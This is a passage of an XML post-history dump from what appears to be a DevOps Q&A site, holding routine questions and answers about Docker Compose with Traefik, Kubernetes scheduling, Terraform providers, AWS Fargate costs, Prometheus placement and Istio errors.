&quot;off&quot;&#xD;&#xA;          NGINX_ERROR_LOG_LEVEL: debug&#xD;&#xA;          NGINX_BACKEND_HOST: php&#xD;&#xA;          NGINX_SERVER_ROOT: /var/www/html/web&#xD;&#xA;          NGINX_VHOST_PRESET: $NGINX_VHOST_PRESET&#xD;&#xA;        #      NGINX_DRUPAL_FILE_PROXY_URL: http://example.com&#xD;&#xA;        volumes:&#xD;&#xA;        - ./web:/var/www/html:cached&#xD;&#xA;        labels:&#xD;&#xA;        - &quot;traefik.http.routers.${PROJECT_NAME}_nginx.rule=Host(`${PROJECT_BASE_URL}`)&quot;&#xD;&#xA;&#xD;&#xA;      mailhog:&#xD;&#xA;        image: mailhog/mailhog&#xD;&#xA;        container_name: &quot;${PROJECT_NAME}_mailhog&quot;&#xD;&#xA;        labels:&#xD;&#xA;        - &quot;traefik.http.services.${PROJECT_NAME}_mailhog.loadbalancer.server.port=8025&quot;&#xD;&#xA;        - &quot;traefik.http.routers.${PROJECT_NAME}_mailhog.rule=Host(`mailhog.${PROJECT_BASE_URL}`)&quot;&#xD;&#xA;&#xD;&#xA;      traefik:&#xD;&#xA;        image: traefik:v2.0&#xD;&#xA;        container_name: &quot;${PROJECT_NAME}_traefik&quot;&#xD;&#xA;        command: --api.insecure=true --providers.docker&#xD;&#xA;        ports:&#xD;&#xA;        - '8000:80'&#xD;&#xA;        volumes:&#xD;&#xA;          - /var/run/docker.sock:/var/run/docker.sock&#xD;&#xA;&#xD;&#xA;    volumes:&#xD;&#xA;      d4d-db-data:&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43614" PostHistoryTypeId="5" PostId="13851" RevisionGUID="84998145-53c8-4164-a06c-ff4f617550ee" CreationDate="2021-05-10T07:48:04.880" UserId="24609" Comment="deleted 5 characters in body" Text="I know this question was asked a long time ago but I still want to answer it.&#xD;&#xA;&#xD;&#xA;How products are build, versioned and delivered depend highly on the combination of the used tools, the infrastructure and the processes that have been established in your company. &#xD;&#xA;This also means there is no general way to it. However there are of course best practices like continuous integration/continuous delivery, nightly builds, common branching patterns etc.&#xD;&#xA;&#xD;&#xA;In your case I would start with common branching patterns for the used version control system (svn, git, etc.) and think about how to support versioned artifacts . &#xD;&#xA;Next step is to get the build management tool (Maven, Gradle, Make, Cmake, etc.) build the specified version. &#xD;&#xA;&#xD;&#xA;If these two parts are working you can think about how to automate it with jenkins.&#xD;&#xA;&#xD;&#xA;One last thing: Your question was very general. I guess if you ask more specific questions like &quot;How do I combine maven and git for building versioned artifacts&quot; you get more answers." ContentLicense="CC BY-SA 4.0" />
  <row Id="43615" PostHistoryTypeId="5" PostId="4857" RevisionGUID="40ac3924-6bbb-49a0-ae62-2237b4ab89b8" CreationDate="2021-05-10T08:38:38.777" UserId="9454" Comment="deleted 17 characters in body" Text="You can use `File Content Replacer` build feature with predefined templates for .NET Core&#xD;&#xA;&#xD;&#xA;https://www.jetbrains.com/help/teamcity/file-content-replacer.html#.NET+Core+csproj+templates" ContentLicense="CC BY-SA 4.0" />
  <row Id="43616" PostHistoryTypeId="2" PostId="13859" RevisionGUID="126b4e1a-9e33-464b-ba24-995b3f03a593" CreationDate="2021-05-10T09:35:25.430" UserId="27575" Text="-r is not needed to copy the folder. Below command will work. I tested this on kubectl version 1.21&#xD;&#xA;&#xD;&#xA;    kubectl cp &lt;pod_id&gt;:/home/test_folder test_folder_localhost" ContentLicense="CC BY-SA 4.0" />
  <row Id="43617" PostHistoryTypeId="33" PostId="13826" RevisionGUID="f5d4e82b-1507-4182-b1cc-9456ef5d0096" CreationDate="2021-05-10T11:28:22.163" UserId="27485" Comment="72" />
  <row Id="43618" PostHistoryTypeId="5" PostId="13826" RevisionGUID="0e1d14ea-bf18-4346-8275-6b6dd5e0695d" CreationDate="2021-05-10T11:30:38.243" UserId="27485" Comment="added 239 characters in body" Text="Here is my setup:&#xD;&#xA;&#xD;&#xA;I have a Ubuntu 20.04.2 LTS machine running in VMware (vSphere client).&#xD;&#xA;&#xD;&#xA;On this machine, I have a local Drupal website running in Docker using Wodby Docker4Drupal https://github.com/wodby/docker4drupal&#xD;&#xA;&#xD;&#xA;The website can be accessed on the Ubuntu machine on http://drupal.localhost:8000.&#xD;&#xA;&#xD;&#xA;The Ubuntu machine has an IP of **192.168.10.100** which I can ping from my local Windows machine which is on the same LAN (Windows computer IP address is 192.168.10.97).&#xD;&#xA;&#xD;&#xA;Is there any way that I could access the Drupal website directly from the browser on a computer that is on the same LAN (ie. my Windows machine)?&#xD;&#xA;&#xD;&#xA;I have tried to access http://192.168.10.100:8000 but I get a `404 page not found` message. On port `80` I get `ERR_CONNECTION_REFUSED`. Any idea?&#xD;&#xA;&#xD;&#xA;I shall also mention that on the Ubuntu VM, I also get *the same* `404 page not found` if I try to reach http://0.0.0.0:8000 or http://127.0.0.1:8000 or http://localhost:8000. Only the hostname configured within the project resolves to the Drupal website (http://drupal.localhost:8000).&#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;Here is the `docker-compose.yml` I am using.&#xD;&#xA;&#xD;&#xA;    version: &quot;3.7&quot;&#xD;&#xA;&#xD;&#xA;    services:&#xD;&#xA;      mariadb:&#xD;&#xA;        image: wodby/mariadb:$MARIADB_TAG&#xD;&#xA;        container_name: &quot;${PROJECT_NAME}_mariadb&quot;&#xD;&#xA;        stop_grace_period: 30s&#xD;&#xA;        environment:&#xD;&#xA;          MYSQL_ROOT_PASSWORD: $DB_ROOT_PASSWORD&#xD;&#xA;          MYSQL_DATABASE: $DB_NAME&#xD;&#xA;          MYSQL_USER: $DB_USER&#xD;&#xA;          MYSQL_PASSWORD: $DB_PASSWORD&#xD;&#xA;        volumes:&#xD;&#xA;          - d4d-db-data:/var/lib/mysql # Use bind mount&#xD;&#xA;&#xD;&#xA;      php:&#xD;&#xA;        image: wodby/drupal-php:$PHP_TAG&#xD;&#xA;        container_name: &quot;${PROJECT_NAME}_php&quot;&#xD;&#xA;        environment:&#xD;&#xA;          PHP_SENDMAIL_PATH: /usr/sbin/sendmail -t -i -S mailhog:1025&#xD;&#xA;        volumes:&#xD;&#xA;        - ./web:/var/www/html:cached&#xD;&#xA;&#xD;&#xA;      crond:&#xD;&#xA;        image: wodby/drupal-php:$PHP_TAG&#xD;&#xA;        container_name: &quot;${PROJECT_NAME}_crond&quot;&#xD;&#xA;        environment:&#xD;&#xA;          CRONTAB: &quot;0 * * * * drush -r /var/www/html/web cron&quot;&#xD;&#xA;        command: sudo -E LD_PRELOAD=/usr/lib/preloadable_libiconv.so crond -f -d 0&#xD;&#xA;        volumes:&#xD;&#xA;        - ./web:/var/www/html:cached&#xD;&#xA;&#xD;&#xA;      nginx:&#xD;&#xA;        image: wodby/nginx:$NGINX_TAG&#xD;&#xA;        container_name: &quot;${PROJECT_NAME}_nginx&quot;&#xD;&#xA;        depends_on:&#xD;&#xA;        - php&#xD;&#xA;        environment:&#xD;&#xA;          NGINX_STATIC_OPEN_FILE_CACHE: &quot;off&quot;&#xD;&#xA;          NGINX_ERROR_LOG_LEVEL: debug&#xD;&#xA;          NGINX_BACKEND_HOST: php&#xD;&#xA;          NGINX_SERVER_ROOT: /var/www/html/web&#xD;&#xA;          NGINX_VHOST_PRESET: $NGINX_VHOST_PRESET&#xD;&#xA;        #      NGINX_DRUPAL_FILE_PROXY_URL: http://example.com&#xD;&#xA;        volumes:&#xD;&#xA;        - ./web:/var/www/html:cached&#xD;&#xA;        labels:&#xD;&#xA;        - &quot;traefik.http.routers.${PROJECT_NAME}_nginx.rule=Host(`${PROJECT_BASE_URL}`)&quot;&#xD;&#xA;&#xD;&#xA;      mailhog:&#xD;&#xA;        image: mailhog/mailhog&#xD;&#xA;        container_name: &quot;${PROJECT_NAME}_mailhog&quot;&#xD;&#xA;        labels:&#xD;&#xA;        - &quot;traefik.http.services.${PROJECT_NAME}_mailhog.loadbalancer.server.port=8025&quot;&#xD;&#xA;        - &quot;traefik.http.routers.${PROJECT_NAME}_mailhog.rule=Host(`mailhog.${PROJECT_BASE_URL}`)&quot;&#xD;&#xA;&#xD;&#xA;      traefik:&#xD;&#xA;        image: traefik:v2.0&#xD;&#xA;        container_name: &quot;${PROJECT_NAME}_traefik&quot;&#xD;&#xA;        command: --api.insecure=true --providers.docker&#xD;&#xA;        ports:&#xD;&#xA;        - '8000:80'&#xD;&#xA;        volumes:&#xD;&#xA;          - /var/run/docker.sock:/var/run/docker.sock&#xD;&#xA;&#xD;&#xA;    volumes:&#xD;&#xA;      d4d-db-data:&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43619" PostHistoryTypeId="2" PostId="13860" RevisionGUID="4098a142-5cf0-4f5c-acda-8b5307a54079" CreationDate="2021-05-10T13:59:34.433" UserId="27485" Text="It turned out it was only a setting in Traefik. I had to add a second router http rule for the nginx container in my `docker-compose.yml`:&#xD;&#xA;&#xD;&#xA;    - &quot;traefik.http.routers.${PROJECT_NAME}_nginx_lan.rule=Host(`192.168.10.100`)&quot;&#xD;&#xA;&#xD;&#xA;So the full nginx section now looks like that:&#xD;&#xA;&#xD;&#xA;      nginx:&#xD;&#xA;        image: wodby/nginx:$NGINX_TAG&#xD;&#xA;        container_name: &quot;${PROJECT_NAME}_nginx&quot;&#xD;&#xA;        depends_on:&#xD;&#xA;        - php&#xD;&#xA;        environment:&#xD;&#xA;          NGINX_STATIC_OPEN_FILE_CACHE: &quot;off&quot;&#xD;&#xA;          NGINX_ERROR_LOG_LEVEL: debug&#xD;&#xA;          NGINX_BACKEND_HOST: php&#xD;&#xA;          NGINX_SERVER_ROOT: /var/www/html/web&#xD;&#xA;          NGINX_VHOST_PRESET: $NGINX_VHOST_PRESET&#xD;&#xA;        #      NGINX_DRUPAL_FILE_PROXY_URL: http://example.com&#xD;&#xA;        volumes:&#xD;&#xA;        - ./web:/var/www/html:cached&#xD;&#xA;        labels:&#xD;&#xA;        - &quot;traefik.http.routers.${PROJECT_NAME}_nginx.rule=Host(`${PROJECT_BASE_URL}`)&quot;&#xD;&#xA;        - &quot;traefik.http.routers.${PROJECT_NAME}_nginx_lan.rule=Host(`192.168.10.100`)&quot;&#xD;&#xA;&#xD;&#xA;It works fine. I can now access my Drupal website at http://192.168.10.100:8000 from any other device on the same LAN.&#xD;&#xA;&#xD;&#xA;In my case, `PROJECT_BASE_URL` and `PROJECT_NAME` are configured in an `.env` file and correspond to `drupal.localhost` and `drupal` respectively." ContentLicense="CC BY-SA 4.0" />
  <row Id="43626" PostHistoryTypeId="5" PostId="13859" RevisionGUID="8d107828-c862-40f2-8420-29da2166d96e" CreationDate="2021-05-10T15:56:56.757" UserId="13139" Comment="Improve formatting" Text="`-r` is not needed to copy the folder. The below command will work. I tested this on `kubectl` version 1.21.&#xD;&#xA;&#xD;&#xA;    kubectl cp &lt;pod_id&gt;:/home/test_folder test_folder_localhost" ContentLicense="CC BY-SA 4.0" />
  <row Id="43627" PostHistoryTypeId="24" PostId="13859" RevisionGUID="8d107828-c862-40f2-8420-29da2166d96e" CreationDate="2021-05-10T15:56:56.757" Comment="Proposed by 13139 approved by 40 edit id of 1388" ContentLicense="CC BY-SA 4.0" />
  <row Id="43628" PostHistoryTypeId="2" PostId="13862" RevisionGUID="8c634437-995c-46dc-8e40-4463f7c0bdaa" CreationDate="2021-05-10T16:22:14.797" UserId="24374" Text="I want to run my App on Kubernetes on two specific Nodes, and only ever have 2 pods running on each node.&#xD;&#xA;&#xD;&#xA;So, I set `replicas` to `4`, used `nodeAffinity` to lock the pods to the two nodes and used `topologySpreadConstraints` to distribute the pods evenly between the two nodes.&#xD;&#xA;&#xD;&#xA;Like this:&#xD;&#xA;&#xD;&#xA;```&#xD;&#xA;apiVersion: apps/v1&#xD;&#xA;kind: Deployment&#xD;&#xA;metadata:&#xD;&#xA;  name: my-deployment&#xD;&#xA;spec:&#xD;&#xA;  selector:&#xD;&#xA;    matchLabels:&#xD;&#xA;      app: my-app&#xD;&#xA;  replicas: 4&#xD;&#xA;  strategy:&#xD;&#xA;    type: RollingUpdate&#xD;&#xA;    rollingUpdate:&#xD;&#xA;      maxSurge: 1&#xD;&#xA;      maxUnavailable: 0%&#xD;&#xA;  template:&#xD;&#xA;    metadata:&#xD;&#xA;      labels:&#xD;&#xA;        app: my-app&#xD;&#xA;    spec:&#xD;&#xA;      containers:&#xD;&#xA;        - name: nginx&#xD;&#xA;          image: nginx:1.14.2&#xD;&#xA;          ports:&#xD;&#xA;            - containerPort: 80&#xD;&#xA;      topologySpreadConstraints:&#xD;&#xA;        - maxSkew: 1&#xD;&#xA;          topologyKey: kubernetes.io/hostname&#xD;&#xA;          whenUnsatisfiable: DoNotSchedule&#xD;&#xA;          labelSelector:&#xD;&#xA;            matchLabels:&#xD;&#xA;              app: my-app&#xD;&#xA;      affinity:&#xD;&#xA;        nodeAffinity:&#xD;&#xA;          requiredDuringSchedulingIgnoredDuringExecution:&#xD;&#xA;            nodeSelectorTerms:&#xD;&#xA;            - matchExpressions:&#xD;&#xA;              - key: kubernetes.io/hostname&#xD;&#xA;                operator: In&#xD;&#xA;                values:&#xD;&#xA;                  - NODE_A&#xD;&#xA;                  - NODE_B&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The problem:&#xD;&#xA;When one of the two nodes goes down because of an update, all of the 4 pods get scheduled on the remaining node. Then, when the node comes back online, no pods get started on it because there are already 4 pods. This is very unfortunate, because when the second node goes offline for an update as well, I have a small downtime, because all 4 pods have to get started on the first node again.&#xD;&#xA;&#xD;&#xA;I hoped that maxSkew acts clever when there's only one node. But instead, the &quot;skew&quot; seems to be always 0 in this case, because the pods are in fact spread evenly.&#xD;&#xA;&#xD;&#xA;How to deal with such situations without adding a third Node and wasting a lot of money?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43629" PostHistoryTypeId="1" PostId="13862" RevisionGUID="8c634437-995c-46dc-8e40-4463f7c0bdaa" CreationDate="2021-05-10T16:22:14.797" UserId="24374" Text="topologySpreadConstraints - maxSkew behavior with only one Node?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43630" PostHistoryTypeId="3" PostId="13862" RevisionGUID="8c634437-995c-46dc-8e40-4463f7c0bdaa" CreationDate="2021-05-10T16:22:14.797" UserId="24374" Text="&lt;kubernetes&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43631" PostHistoryTypeId="2" PostId="13863" RevisionGUID="9f436c54-2288-412a-a6af-7c8a2738eb37" CreationDate="2021-05-10T17:36:19.097" UserId="2463" Text="The provider documentation you quoted here seems to have a mistake. It talks about using the two providers together in the same _module_ but it seems like it really means in the same _configuration_.&#xD;&#xA;&#xD;&#xA;The problem arises because Terraform needs to configure a provider in order to plan with it, and so everything inside a `provider &quot;kubernetes&quot;` block must be known at the time of planning. This means you can't use anything in there which isn't created yet.&#xD;&#xA;&#xD;&#xA;That documentation is trying to tell you that you'll need to split the configuration that declares your Kubernetes cluster from all of your configurations that configure or make use of the Kubernetes cluster, and then you can `terraform apply` the creation of the cluster _first_, and then separately `terraform apply` your other configurations that interact with it using the kubernetes provider.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43632" PostHistoryTypeId="2" PostId="13864" RevisionGUID="1c653c41-0ab1-404b-8f45-06f64c25efbe" CreationDate="2021-05-10T18:57:39.487" UserId="25811" Text="I'm making a web-app, I've tried both ECS and EKS at AWS. It's been very comfortable to use Fargate instances instead of EC2. But I'm not sure I understand how to use them since when I count at it, it's so much more expensive. [Prices][1]&#xD;&#xA;&#xD;&#xA;In the prices it says ~$0.05/h/vCPU which would mean 37.5$/m/vCPU. Which is very expensive compared to EC2. But from what I've understood Fargate is more suitable for container that have a limited lifetime? Does this mean that they are not useable at all(or atleast price worthy) for a webapp that's running 24/7? My web app can really shutdown an start up by requests, it would be to slow. Is there something I'm missing?&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/fargate/pricing/" ContentLicense="CC BY-SA 4.0" />
  <row Id="43633" PostHistoryTypeId="1" PostId="13864" RevisionGUID="1c653c41-0ab1-404b-8f45-06f64c25efbe" CreationDate="2021-05-10T18:57:39.487" UserId="25811" Text="Is AWS Fargate suitable for web applications?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43634" PostHistoryTypeId="3" PostId="13864" RevisionGUID="1c653c41-0ab1-404b-8f45-06f64c25efbe" CreationDate="2021-05-10T18:57:39.487" UserId="25811" Text="&lt;amazon-web-services&gt;&lt;amazon-ecs&gt;&lt;eks&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43636" PostHistoryTypeId="2" PostId="13866" RevisionGUID="b22a134b-3311-49a1-b719-b1098551ea14" CreationDate="2021-05-10T20:35:26.500" UserId="27583" Text="If there are no constraints with regards to other components used in the system at all, do you know a software that can be used as a sort of &quot;cockpit&quot; / control center to visualize test result data and to trigger build and test jobs? &#xD;&#xA;&#xD;&#xA;I am looking for something like a mix of the Jenkins dashboard (manage and possibly trigger builds and tests) and a Tableau dashboard (rich visualization capabilities) but cannot seem to find something that works out of the box like that - maybe I am just searching in a wrong way though so any hint would be helpful.&#xD;&#xA;&#xD;&#xA;**Some context:**&#xD;&#xA;&#xD;&#xA;In my department, one team is designing and developing lab hardware and another team is developing the corresponding firmware and drivers. For each release cycle we develop different components of our software on different branches and usually every branch is compiled at least once every night which results in a new version of our driver package per branch. Every driver package is then tested on real hardware using custom test software - for these tests we are maintaining a test farm consisting of about 50 computers, each with an individual hardware setup for specific tests. During test execution, information about individual test results is written to a database and logfiles are stored on a file server. When everything is done, compilation and test results are presented to the developers via a web-based dashboard with a PHP codebase. This whole system was developed some years ago by the team and is maintained and extended to this day.&#xD;&#xA;&#xD;&#xA;As time has passed, this old test system has become more and more cumbersome to maintain due to requirements changing and needs growing every release cycle. Thus, recently we have started to look for alternatives to this system that are (hopefully) less work and easier to extend in the future. At the moment we are exploring whether a system consisting of the [Jira plugin Xray][1] for test planning and Jenkins for CI builds and running tests may work for us - but no final decisions have been made yet.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.getxray.app/" ContentLicense="CC BY-SA 4.0" />
  <row Id="43637" PostHistoryTypeId="1" PostId="13866" RevisionGUID="b22a134b-3311-49a1-b719-b1098551ea14" CreationDate="2021-05-10T20:35:26.500" UserId="27583" Text="Is there an all-in-one control center software that can be used to manage build and test execution and to visualize test results?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43638" PostHistoryTypeId="3" PostId="13866" RevisionGUID="b22a134b-3311-49a1-b719-b1098551ea14" CreationDate="2021-05-10T20:35:26.500" UserId="27583" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;testing&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43639" PostHistoryTypeId="2" PostId="13867" RevisionGUID="7adbbdc3-70b8-4855-9c58-d9eec2f80c78" CreationDate="2021-05-10T21:59:00.220" UserId="27593" Text="I'm considering using Prometheus to monitor and analyze different metrics from my AWS EKS Kubernetes cluster running in Fargate, as it seems to be the standard tool during these times. However, something that really impressed me was that installing Prometheus itself in the very same k8s cluster (as another running set of pods) is a normal thing. Am I right or just got a wrong idea from my research? Considering good practices, shouldn't the monitoring tool be outside of the system that you actually intend to monitor? Also, if I set up multiple Kubernetes clusters, isn't it more cumbersome to have one Prometheus installation per cluster? Is it possible to set up a single Prometheus installation and centralize all k8s clusters metrics on it?&#xD;&#xA;&#xD;&#xA;Same question for Grafana's installation... Should it be installed inside or outside the cluster?&#xD;&#xA;&#xD;&#xA;On a different topic, Prometheus history retention period is set to 15 days by default (`storage.tsdb.retention.time`). Even though cluster metrics insight should be useful for a short period of time so you can troubleshoot issues, I wonder if there may be scenarios in which a longer history period might help. Any comments on this matter?&#xD;&#xA;&#xD;&#xA;Thanks!" ContentLicense="CC BY-SA 4.0" />
  <row Id="43640" PostHistoryTypeId="1" PostId="13867" RevisionGUID="7adbbdc3-70b8-4855-9c58-d9eec2f80c78" CreationDate="2021-05-10T21:59:00.220" UserId="27593" Text="Where to install Prometheus for Kubernetes monitoring" ContentLicense="CC BY-SA 4.0" />
  <row Id="43641" PostHistoryTypeId="3" PostId="13867" RevisionGUID="7adbbdc3-70b8-4855-9c58-d9eec2f80c78" CreationDate="2021-05-10T21:59:00.220" UserId="27593" Text="&lt;kubernetes&gt;&lt;monitoring&gt;&lt;prometheus&gt;&lt;grafana&gt;&lt;eks&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43642" PostHistoryTypeId="6" PostId="13866" RevisionGUID="51cc60e7-7425-4d02-8882-27ff803fa198" CreationDate="2021-05-10T23:10:07.330" UserId="27583" Comment="edited tags" Text="&lt;jenkins&gt;&lt;continuous-integration&gt;&lt;monitoring&gt;&lt;testing&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43647" PostHistoryTypeId="2" PostId="13869" RevisionGUID="58b6681e-9ba0-49e2-b46a-daa764db1b06" CreationDate="2021-05-11T06:16:59.603" UserId="27561" Text="noob question: So from digging the world wide web(https://github.com/prometheus/prometheus/issues/5976), I have discovered I can set permission issue by&#xD;&#xA;&#xD;&#xA;    initContainers:&#xD;&#xA;      - name: prometheus-data-permission-fix&#xD;&#xA;        image: busybox&#xD;&#xA;        command: [&quot;/bin/chmod&quot;,&quot;-R&quot;,&quot;777&quot;, &quot;/data&quot;]&#xD;&#xA;&#xD;&#xA;but I am running the prometheus using helm, so I was wondering how to define the above settings inside of values.yaml straight away.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43648" PostHistoryTypeId="1" PostId="13869" RevisionGUID="58b6681e-9ba0-49e2-b46a-daa764db1b06" CreationDate="2021-05-11T06:16:59.603" UserId="27561" Text="How should I define a initContainer inside helm values.yaml?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43649" PostHistoryTypeId="3" PostId="13869" RevisionGUID="58b6681e-9ba0-49e2-b46a-daa764db1b06" CreationDate="2021-05-11T06:16:59.603" UserId="27561" Text="&lt;kubernetes&gt;&lt;prometheus&gt;&lt;kubernetes-helm&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43650" PostHistoryTypeId="2" PostId="13870" RevisionGUID="3ebf71a5-4b20-438e-aaea-2ae16207884b" CreationDate="2021-05-11T08:11:34.633" UserId="27265" Text="Fargate is absolutely suitable for web apps. We have many customers that use it that way (and many others that use it in a more &quot;batchy&quot; way). Fargate is a managed compute engine and AWS takes a more responsibilities in terms of scaling, patching, security, and so forth so comparing raw Fargate costs to raw EC2 costs isn't how I would compare them. Having that said, raw EC2 capacity (like for like) is usually just 20% cheaper than raw Fargate capacity. If you factor in the cost of operations (less with Fargate) and the fact that you hardly drive EC2 clusters at full utilization, the comparison tends to skew towards Fargate most of the times. These are a couple of blogs that talk about this ([blog one](https://aws.amazon.com/blogs/containers/theoretical-cost-optimization-by-amazon-ecs-launch-type-fargate-vs-ec2/) and [blog two](https://www.trek10.com/blog/fargate-pricing-vs-ec2)). " ContentLicense="CC BY-SA 4.0" />
  <row Id="43652" PostHistoryTypeId="2" PostId="13871" RevisionGUID="1426d513-85e1-4dd3-a6ed-ce56fa88d0bb" CreationDate="2021-05-11T11:31:35.570" UserId="44" Text="&gt; But from what I've understood Fargate is more suitable for container that have a limited lifetime?&#xD;&#xA;&#xD;&#xA;That's not stritcly correct, Fargate capabilities include tasks which are suitable for short-term limited lifetime tasks as well as services which are designed to run all the time. &#xD;&#xA;&#xD;&#xA;For sure, Fargate is more expensive as compared to EC2 - but you don't need to maintain the instance, patch the OS, have your container runtime and manage them, handle scaling of the underlying nodes - Fargate does this all for you. All you need to provide is a Docker image, how much vCPUs &amp; Memory you need and to how many containers it should scale to, and AWS will take care of the rest. You can optionally provide a CloudWatch log group and have the container logs streamed to CloudWatch logs, or also stream them to custom log ingesters as well." ContentLicense="CC BY-SA 4.0" />
  <row Id="43654" PostHistoryTypeId="4" PostId="13850" RevisionGUID="11228ebb-682a-4b69-b8bd-7fe4e1463a99" CreationDate="2021-05-11T12:00:20.420" UserId="44" Comment="make it clearer that the question is about Terraform data resource than k8s itself" Text="How to use kubernetes_service data provider in Terraform?" ContentLicense="CC BY-SA 4.0" />
  <row Id="43655" PostHistoryTypeId="24" PostId="13850" RevisionGUID="11228ebb-682a-4b69-b8bd-7fe4e1463a99" CreationDate="2021-05-11T12:00:20.420" Comment="Proposed by 44 approved by 40 edit id of 1389" ContentLicense="CC BY-SA 4.0" />
  <row Id="43656" PostHistoryTypeId="5" PostId="9529" RevisionGUID="27cc1d93-a68f-45e6-bc27-87e122f5c1b1" CreationDate="2021-05-11T13:17:55.147" UserId="739" Comment="add a word" Text="Monorepos have been getting a lot of attention in recent years since [google popularized them](https://medium.com/@Jakeherringbone/you-too-can-love-the-monorepo-d95d1d6fcebe).  If you aren't on a similar scale as google it might not work out as well for you.  I've been in a startup that moved to monorepos and we quickly found that:&#xD;&#xA;&#xD;&#xA;* most tools are built with one repo leading to one artifact that gets deployed.  You will have to rework all of those tools to handle the monorepo.  [There are tools that are designed for monorepos.](https://github.com/korfuri/awesome-monorepo)&#xD;&#xA;* a monorepo puts all of your eggs in one basket.  If somebody steals a laptop would you rather them get half of your code or all of it?  Keeping different things in their own repos reduces exposure.&#xD;&#xA;* your CI for code validation is now much more complicated.  You need to support multiple languages in your code conformance tests.  Developers will get upset when you check backend stuff and they've only made frontend changes.  Now you're stuck trying to figure out how to disable some CI checks, but make sure they're enabled when needed.&#xD;&#xA;&#xD;&#xA;All of this adds up to a load of work for release engineers.  Do you have people focused on release engineering with free time to tackle multiple complicated projects?  Google can make this work because they have hordes of engineers and they can dedicate ten folks to this sort of thing for months until it is smooth enough to develop on top of.  If you are not at the same scale as google you might not be able to follow their example.  The folks that have succeeded with this [tend to be big organizations](https://en.wikipedia.org/wiki/Monorepo).  You may not have found an open source example because none exists.&#xD;&#xA;&#xD;&#xA;These points are also noted in [this article](https://medium.com/@mattklein123/monorepos-please-dont-e9a279be011b):&#xD;&#xA;&#xD;&#xA;&gt; The frank reality is that, at scale, how well an organization does with code sharing, collaboration, tight coupling, etc. is a direct result of engineering culture and leadership, and has nothing to do with whether a monorepo or a polyrepo is used. The two solutions end up looking identical to the developer. In the face of this, why use a monorepo in the first place? Please don’t!&#xD;&#xA;&#xD;&#xA;So focus on improving your engineering culture and don't get worried about not following the latest tech trends." ContentLicense="CC BY-SA 4.0" />
  <row Id="43657" PostHistoryTypeId="2" PostId="13872" RevisionGUID="c9166df7-0540-4260-b0c1-ccd10a942f4a" CreationDate="2021-05-11T14:46:33.970" UserId="27613" Text="I initially created an EnvoyFilter to apply `idle_timeout` of `5s` to outbound requests originating from workloads with label `app: mecha-dev`.&#xD;&#xA;&#xD;&#xA;    apiVersion: networking.istio.io/v1alpha3&#xD;&#xA;    kind: EnvoyFilter&#xD;&#xA;    metadata:&#xD;&#xA;      name: tcp-idle-timeout&#xD;&#xA;    spec:&#xD;&#xA;      workloadSelector:&#xD;&#xA;        labels:&#xD;&#xA;          app: mecha-dev&#xD;&#xA;      filters:&#xD;&#xA;        - listenerMatch:&#xD;&#xA;            listenerType: SIDECAR_OUTBOUND&#xD;&#xA;            listenerProtocol: TCP&#xD;&#xA;          filterName: envoy.tcp_proxy&#xD;&#xA;          filterType: NETWORK&#xD;&#xA;          filterConfig:&#xD;&#xA;            idle_timeout: 5s&#xD;&#xA;&#xD;&#xA;However, the filter did not work for me and I found out it was because my cluster is using `istio v1.2.5` which is a very old version and does not support `EnvoyFilters` properly and the envoy API for the same have been deprecated. &#xD;&#xA;&#xD;&#xA;Therefore, I deleted the `EnvoyFilter` using `kubectl`.&#xD;&#xA;&#xD;&#xA;But, even after deletion of the filter the `istio-proxy` sidecar containers keep on showing me the following error again and again:&#xD;&#xA;&#xD;&#xA;    [2021-05-11 11:59:14.109][22][warning][config] [external/envoy/source/common/config/grpc_mux_subscription_impl.cc:73] gRPC config for type.googleapis.com/envoy.api.v2.Listener rejected: Error adding/updating listener(s) 10.155.0.113_443: Proto constraint validation failed (TcpProxyValidationError.StatPrefix: [&quot;value length must be at least &quot; '\x01' &quot; bytes&quot;]): idle_timeout {&#xD;&#xA;      seconds: 5&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;I deleted the pods and re-created new ones but this error keeps on showing up. Is there anything else I need to clean up or delete to get rid of this error?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="43658" PostHistoryTypeId="1" PostId="13872" RevisionGUID="c9166df7-0540-4260-b0c1-ccd10a942f4a" CreationDate="2021-05-11T14:46:33.970" UserId="27613" Text="Istio Keeps On Showing TcpProxyValidationError Errors" ContentLicense="CC BY-SA 4.0" />
  <row Id="43659" PostHistoryTypeId="3" PostId="13872" RevisionGUID="c9166df7-0540-4260-b0c1-ccd10a942f4a" CreationDate="2021-05-11T14:46:33.970" UserId="27613" Text="&lt;kubernetes&gt;&lt;istio&gt;" ContentLicense="CC BY-SA 4.0" />
